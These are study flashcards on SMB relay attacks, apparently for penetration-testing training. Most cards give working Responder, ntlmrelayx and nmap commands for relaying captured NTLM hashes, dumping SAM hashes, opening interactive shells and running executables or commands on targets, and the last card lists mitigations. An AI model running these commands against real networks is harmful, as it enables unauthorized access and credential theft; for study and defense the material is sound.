SMB Relay Flashcards
1
Q
What is SMB relay ?
What are the requirements ?
A
Instead of cracking hashes gathered with Responder, relay thise hashes to specific machines and potentially get access
Requirements:
1. SMB signing must be disabled on the target
2. Relayed user credentials must be admin on the target machine
2
Q
How set up SMB relay attack ?
A
- Edit /etc/responder/Responder.conf to set SMB server and HTTP server Off
- Run responder: python Responder.py -I tun0 -rdwv
- Set up your relay: python ntlmrelayx.py -tf targets.txt -smb2support
- An event occurs
- Get SAM hashes of local users of the targets
3
Q
Find targets that has SMB signin desactivated and exploit it
A
- nmap –script=smb2-security-mode.nse -p445 CIDR_Network
- Take the list of all host that enable SMB signing but not required
- Run the relay attack
4
Q
Get interractive shell with SMB relay attacks
A
- Run responder with SMB and HTTP server off
- Run ntlmrelayx.py -tf targets.txt -i
- Connect local session opened: nc 127.0.0.1 11000
-
shares
use C$
use ADMIN$
ls
You got all control on the machine
5
Q
Get interractive meterpreter shell with SMB relay attacks
A
ntlmrelayx.py -tf targets.txt -smb2support -e executableName.exe
6
Q
Get running command with SMB relay attacks
A
ntlmrelayx.py -tf targets.txt -smb2support -c “commandToRun”
7
Q
Mitigations SMB relay attack
A
-
Enable signing on all devices
- Pro: completely stop this attacks
- Con : Can cause performance issue with file copise -
Disable NTLM authentification on network
- Pro: Completely stop the attack
- Con: If kerberos stop working, Windows defautls back to NTLM -
Account tiering:
- Pro: Limits domain admin to specific tasks
- Con Enforcing the policy may be difficult -
Local admin restriction
- Pro: Can prevent a lot of lateral movement
- Con: Potentiel increase in the amount of server desk tickets